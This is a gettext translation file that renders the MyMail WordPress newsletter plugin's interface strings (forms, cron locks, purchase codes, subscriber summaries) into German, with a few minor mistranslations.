msgid "Some of these settings may affect your website. In normal circumstance it is not required to change anything on this page."
msgstr "Manche dieser Einstellungen beeinflussen deine Webseite. Normalerweise muss auf dieser Seite nichts geändert werden."

#. mymail
#: 
msgid "MyMail will remove all it's data if you delete the plugin via the plugin page."
msgstr "MyMail wird alle Daten löschen falls du das plugin über die Pluginseite löschst"

#. mymail
#: 
msgid "PHP Mailer"
msgstr "PHP Mailer"

#. mymail
#: 
msgid "Local Time"
msgstr "Lokale Zeit"

#. mymail
#: 
msgid "Your message was sent successfully!"
msgstr "Ihre Nachricht wurde erfolgreich verschickt"

#. mymail
#: 
msgid "edit form"
msgstr "Formular bearbeiten"

#. mymail
#: 
msgid "Please do not use %1$s in %2$s as page slug as it conflicts with MyMail form submission!"
msgstr "Bitte verwende %1$s in in der URL von %2$s da es mit MyMail einen Konflikt verursacht!"

#. mymail
#: 
msgid "You should use the shortcode %s only on the newsletter homepage!"
msgstr "Verwende den shortcode %s nur auf der Newsletter Homepage!"

#. mymail
#: 
msgctxt "confirm slug"
msgid "confirm"
msgstr "bestätigung"

#. mymail
#: 
msgctxt "subscribe slug"
msgid "subscribe"
msgstr "anmelden"

#. mymail
#: 
msgctxt "unsubscribe slug"
msgid "unsubscribe"
msgstr "abmelden"

#. mymail
#: 
msgctxt "profile slug"
msgid "profile"
msgstr "profil"

#. mymail
#: 
msgid "Not able to set archive slug to %1$s. Used by %2$s"
msgstr "Konnte Archiv URL Struktur %1$s nicht speichern da sie von %2$s verwendet wird"

#. mymail
#: 
msgid "Your newsletter archive page is: %s"
msgstr "Deine Newsletter Archiv findest du hier: %s"

#. mymail
#: 
msgid "There was a problem progressing the file"
msgstr "Ein Problem beim verarbeiten der Datei ist aufgetreten"

#. mymail
#: 
msgid "You haven't purchased this template with this account!"
msgstr "Du hast dieses Template mit diesem Account gekauft!"

#. mymail
#: 
msgid "add more custom fields on the %s."
msgstr "füge weitere Felder auf der %s hinzu."

#. mymail
#: 
msgid "Settings Page"
msgstr "Einstellungsseite"

#. mymail
#: 
msgid "Error message Color"
msgstr "Textfarbe der Fehlermeldung"

#. mymail
#: 
msgid "Error message Background"
msgstr "Farbe der Fehlermeldung"

#. mymail
#: views/forms/detail.php:461
msgid "Subscribe Button"
msgstr "Subscribe"

#. mymail
#: 
msgid "Module Thumbnails"
msgstr "Vorschaubilder für Module"

#. mymail
#: 
msgid "Show thumbails of modules in the editor if available"
msgstr "Zeige eine Vorschau von den Modulen im Editor falls vorhanden"

#. mymail
#: 
msgid "Archive"
msgstr "Archiv"

#. mymail
#: 
msgid "Archive Slug"
msgstr "Archiv URL Struktur"

#. mymail
#: 
msgid "show only"
msgstr "zeige nur"

#. mymail
#: 
msgid "finished"
msgstr "beendete"

#. mymail
#: 
msgid "paused"
msgstr "pausierte"

#. mymail
#: 
msgid "queued"
msgstr "in Warteschlange"

#. mymail
#: 
msgid "use version"
msgstr "verwende die Version"

#. mymail
#: 
msgid "included in WordPress"
msgstr "inkludiert mit WordPress"

#. mymail
#: 
msgid "update via Envato"
msgstr "via Envato aktualisieren"

#. mymail
#: 
msgid "your version"
msgstr "deine Version"

#. mymail
#: 
msgid "download via Envato"
msgstr "via Envato herunterladen"

#. mymail
#: 
msgid "activate on Envato"
msgstr "auf Envato aktivieren"

#. mymail
#: 
msgctxt "user forwarded via website"
msgid "%1$s via %2$s"
msgstr "%1$s via %2$s"

#. mymail
#: 
msgid "Texts have been reseted!"
msgstr "Texte wurden zurückgesetzt!"

#. mymail
#: 
msgid "update available"
msgstr "Update verfügbar"

#. mymail
#: 
msgid "an update to your language is available!"
msgstr "Eine Aktualisierung für deine Sprache ist verfügbar! "

#. mymail
#: 
msgid "update now"
msgstr "jetzt aktualisieren"

#. mymail
#: 
msgid "already registered"
msgstr "bereits registriert"

#. mymail
#: 
msgid "new confirmation message"
msgstr "neue Benachrichtigung"

#. mymail
#: 
msgid "enter your email"
msgstr "E-Mailaddresse angeben"

#. mymail
#: 
msgid "Change Language"
msgstr "Sprache wechseln"

#. mymail
#: 
msgid "Tags are placeholder for your newsletter. You can set them anywhere in your newsletter template with the format %s. Custom field tags are individual for each subscriber."
msgstr "Tags sind Platzhalter für deinen Newsletter. Du kannst sie überall in deimem Template im Format %s verwenden. Benutzerdefinierte Felder sind individuell für jeden Abonnenten"

#. mymail
#: 
msgid "Select template file"
msgstr "Wähle eine Templatedatei"

#. mymail
#: 
msgid "MyMail is available in your language."
msgstr "MyMail ist in deiner Sprache verfügbar."

#. mymail
#: 
msgid "load it now"
msgstr "jetzt laden"

#: 
msgid "SPF doesn't require any configuration on this settings page. This should give you some help to set it up correctly. If this SPF configuration doesn't work or your mails returned as spam you should ask your provider for help or change your delivery method or try %s"
msgstr "SPF benötigt keine separaten Einstellungen auf dieser Seite. Dies sollte dir lediglich etwas Hilfe geben um sie korrekt zu konfigurieren. Falls diese Konfiguration nicht funktioniert oder deine Mails als Spam zurückkommen kontaktiere bitte deinen Provider oder versuche %s"

#: 
msgid "Enter Form Name"
msgstr "Formbezeichung hier eingeben"

#: 
msgid "Define in which order names appear in your language or country. This is used for the %s tag."
msgstr "Bestimme in welcher Reihenfolge Namen in deiner Sprache/deinem Land gezeigt werden. Wird für den %s tag verwendet."

#: 
msgid "Embed your form on any site, no matter if it is your current or a third party one. It's similar to the Twitter button."
msgstr "Bette dein Formular auf jeder Seite ein, egal ob es deine aktuelle oder ein fremde ist. Es funktioniert ähnlich dem Twitter Button."

#: 
msgid "Name Order"
msgstr "Namensreihenfolge"

#: 
msgid "Subscriber Button"
msgstr "Subscriber Button"

#: 
msgid "Use a shortcode on a blog post, page or wherever they are excepted."
msgstr "Verwende einen Shortcode in Beiträgen, Seiten oder überall wo sie akzeptiert werden."

#: 
msgid "Use your form as"
msgstr "Verwende dein Formular als"

#: 
msgid "You haven't saved your recent changes on this form!"
msgstr "Du hast die Änderungen in diesem Formular nicht geändert!"

#: 
msgid "Use your form via the HTML markup. This is often required by third party plugins. You can choose between an iframe or the raw HTML."
msgstr "Verwende dein Formular mittels HTML Markup. Dies wird oft von anderen Plugins verlangt. Du kannst zwischen iFrame oder einfaches HTML wählen."

#: 
msgid "%s other"
msgid_plural "%d others"
msgstr[0] "%s anderer"
msgstr[1] "%s andere"

#: 
msgid "New subscribers to your newsletter!"
msgstr "Neue Abonnenten für deinen Newsletter!"

#: 
msgid "Subscribers are located in %s different countries"
msgstr "Abonnenten kommen aus %s verschiedenen Ländern"

#: 
msgid "You have %1$s cancellations since %2$s."
msgstr "Du hast %1$s Abmeldungen seit %2$s."

#: 
msgid "You have %1$s new subscribers since %2$s."
msgstr "Du hast %1$s neue Abonnenten seit %2$s."

#: 
msgid "You have new cancellations!"
msgstr "Du hast neue Abmeldungen!"

#: 
msgid "You have now %s subscribers in total."
msgstr "Du hast jetzt insgesamt %s Abonnenten."

#: 
msgid "from other countries"
msgstr "von anderen Ländern"

#: 
msgid "Your daily summary"
msgstr "Deine tägliche Zusammenfassung"

#: 
msgid "Your monthly summary"
msgstr "Deine monatliche Zusammenfassung"

#: 
msgid "Your weekly summary"
msgstr "Deine wöchentliche Zusammenfassung"

#: 
msgid "daily"
msgstr "täglich"

#: 
msgid "location of %d subscriber"
msgid_plural "location of %d subscribers"
msgstr[0] "Ort von % Abonnent"
msgstr[1] "Ort von %d Abonnenten"

#: 
msgid "monthly"
msgstr "monatlich"

#: 
msgid "send"
msgstr "sende"

#: 
msgid "weekly"
msgstr "wöchentlich"

#: 
msgid "Create Screenshot for Feature Image"
msgstr "Erstelle Screenshot als Beitragsbild"

#: 
msgid "Creating Screenshot"
msgstr "Screenshot wird erstellt"

#: 
msgid "Generating the screenshot may take a while. Please reload the page to update"
msgstr "Den Screenshot zu erstellen kann eine Zeit dauern. Bitte die Seite neu laden um zu aktualisieren."

#: 
msgid "Geolocation is not available on localhost!"
msgstr "Geodaten sind lokal nicht verfügbar!"

#: 
msgid "Save Template File"
msgstr "Template Datei speichern"

#: 
msgid "based on %1$s from %2$s"
msgstr "basierend auf %1$s von %2$s "

#: 
msgid "include original modules from %s"
msgstr "original Module von %s einschließen "

#: 
msgid "save as a new template file"
msgstr "als neue Template Datei speichern"

#: 
msgid "show custom modules by default"
msgstr "standardmäßig Benutzerdefinierte Module zeigen"

#: 
msgid "will append the existing modules to your custom ones"
msgstr "hängt die existierenden Module zu deinen eigenen an"

#: 
msgid "%d second"
msgid_plural "%d seconds"
msgstr[0] "%d Sekunde"
msgstr[1] "%d Sekunden"

#: 
msgid "Another process is currently running the cron process and you have been temporary blocked to prevent duplicate emails getting sent out."
msgstr "Ein anderer Prozess läuft zur Zeit und du wurdest vorübergehend blockiert um doppelt gesendete E-Mails zu verhindern."

#: 
msgid "Cron Lock"
msgstr "Cron Lock"

#: 
msgid "Cron Lock Enabled!"
msgstr "Cron Lock ist aktiv!"

#: 
msgid "Cron Lock has been released!"
msgstr "Cron Lock wurde entfernt!"

#: 
msgid "Cron Lock requested %s ago from:"
msgstr "Cron Lock vor %s beantragt:"

#: 
msgid "Database based"
msgstr "Datenbank basierend"

#: 
msgid "File based"
msgstr "Datei basierend"

#: 
msgid "Looks like your Cron Lock is still in place after %1$s! Read more about why this can happen %2$s."
msgstr "Es scheint der Cron Lock ist nach %1$s noch immer aktiv! Lies %2$s mehr warum das passieren kann."

#: 
msgid "Max Execution Time"
msgstr "Max Execution Time"

#: 
msgid "Purchase Code"
msgstr "Purchase Code"

#: 
msgid "Read more about Cron Locks %s."
msgstr "Lies mehr über Cron Locks %s"

#: 
msgid "here"
msgstr "hier"

#: 
msgid "probably you"
msgstr "wahrscheinlich du"

#: 
msgctxt "short for second"
msgid "sec"
msgstr "Sek"

#: 
msgid "why?"
msgstr "warum?"

#: 
msgid "A Cron Lock ensures your cron is not overlapping and causing duplicate emails. Select which method you like to use."
msgstr "Ein Cron Lock stellt sicher, dass das sich zwei Prozesse nicht überschneiden und verhindert somit doppelt gesendete E-mails. Wähle die Methode, die du verwenden möchtest."

#: 
msgid "An error occurred while updating MyMail!"
msgstr "Beim Aktualisieren von MyMail ist ein Fehler aufgetreten!"

#: 
msgid "Buy a new MyMail License"
msgstr "Kaufe eine neue Lizenz für MyMail"

#: 
msgid "Buy an additional license for %s."
msgstr "Kauf eine weitere Lizenz für %s."

#: 
msgid "Buy new License"
msgstr "Kaufe eine neue Lizenz"

#: 
msgid "Code in use!"
msgstr "Code in Verwendung!"

#: 
msgid "Downloading the latest version of MyMail"
msgstr "Herunterladen der letzten Version von MyMail"

#: 
msgid "Enter your Purchase Code to enable automatic updates"
msgstr "Gib deinen Purchase Code ein um automatische Updates zu aktivieren"

#: 
msgid "Enter your purchase code on the %s."
msgstr "Gib deinen Purchase Code in %s ein."

#: 
msgid "Envato servers are currently down. Please try again later!"
msgstr "Envato Server sind zur Zeit nicht erreichbar. Bitte probiere es später erneut!"

#: 
msgid "Hide this tab if the Purchase Code has been entered"
msgstr "Verstecke diesen Tab wenn der Purchase Code eingegeben wurde"

#: 
msgid "Not able to download MyMail!"
msgstr "Konnte MyMail nicht herunterladen!"

#: 
msgid "Settings page"
msgstr "Einstellungsseite"

#: 
msgid "To get automatic updates for MyMail you need to enter your purchase code on the %s."
msgstr "Um automatische Updates von MyMail zu bekommen musst du deinen Purchase Code auf der %s eingeben."

#: 
msgid "You have to generate DKIM Keys to use DKIM signed mails!"
msgstr "Du musst DKIM Schlüssel generieren um DKIM signierte E-Mails zu versenden!"

#: 
msgid "Your purchase code is already in use and can only be used for one site"
msgstr "Dein Purchase Code ist bereits in Verwendung und kann nur auf einer Webseite verwendet werden"

#: 
msgid "to get help here"
msgstr "um Hilfe zu erhalten"

#: 
msgid "your new site"
msgstr "deine neuen Seite"

#: 
msgid "Activate on Envato"
msgstr "auf Envato aktivieren"

#: 
msgid "Add New"
msgstr "Hinzufügen"

#: 
msgid "Back to Overview"
msgstr "zurück zur Übersicht"

#: 
msgid "Create A New Campaign"
msgstr "Neue Kampagne erstellen"

#: 
msgid "Download via Envato"
msgstr "Via Envato herunterladen"

#: 
msgid "Get This Template"
msgstr "Lade dieses Template"

#: 
msgid "Install"
msgstr "Installieren"

#: 
msgid "More Templates"
msgstr "Mehr Templates"

#: 
msgid "Purchase"
msgstr "Kaufen"

#: 
msgid "Reply-to Email"
msgstr "Antwortadresse"

#: 
msgid "Save to Test"
msgstr "Speichern um zu Testen"

#: 
msgid "Separator for CSV output"
msgstr "Trennzeichen für CSV Ausgabe"

#: 
msgid "Show thumbnails of modules in the editor if available"
msgstr "Zeige Modulethumbnails im Editor falls verfügbar"

#: 
msgid "The sender email address. Force your receivers to whitelabel this email address."
msgstr "Die Absenderadresse. Fordere deine Empfänger auf, diese Adresse in ihr Adressbuch zu speichern"

#: 
msgid "Unable to connect to bounce server %1$s on port %2$d! Error: %3$s"
msgstr "Konnte nicht mit dem Bounce Server %1$s über Port %2$d verbinden! Fehler: %3$s"

#: 
msgid "Unable to login with the given credentials! Error: %1$s"
msgstr "Das Anmelden mit den angegebenen Zugangsdaten ist nicht möglich! Fehler: %1$s"

#: 
msgid "[Tab]"
msgstr "[Tab]"

#: 
msgid "Enabling this option may solve connection problems to SMTP servers"
msgstr "Das Aktivieren dieser Option kann Probleme bei der Verbindung zu SMTP Servern beheben"

#: 
msgid "Enter your API Key if maps are not displayed"
msgstr "Gib deinen API Schlüssel an falls Karten nicht dargestellt werden"

#: 
msgid "Google Maps API Key"
msgstr "Google Maps API Schlüssel"

#: 
msgid "Remove Data"
msgstr "Daten entfernen"

#: 
msgid "Self Signed Certificates"
msgstr "Eigene Zertifikate"

#: 
msgid "allow self signed certificates"
msgstr "erlaube selbst verifizierte Zertifikate"

#: 
msgid "enter keys manually"
msgstr "Schlüssel manuell eingeben"

#: 
msgid "latest (%s)"
msgstr "letzte (%s)"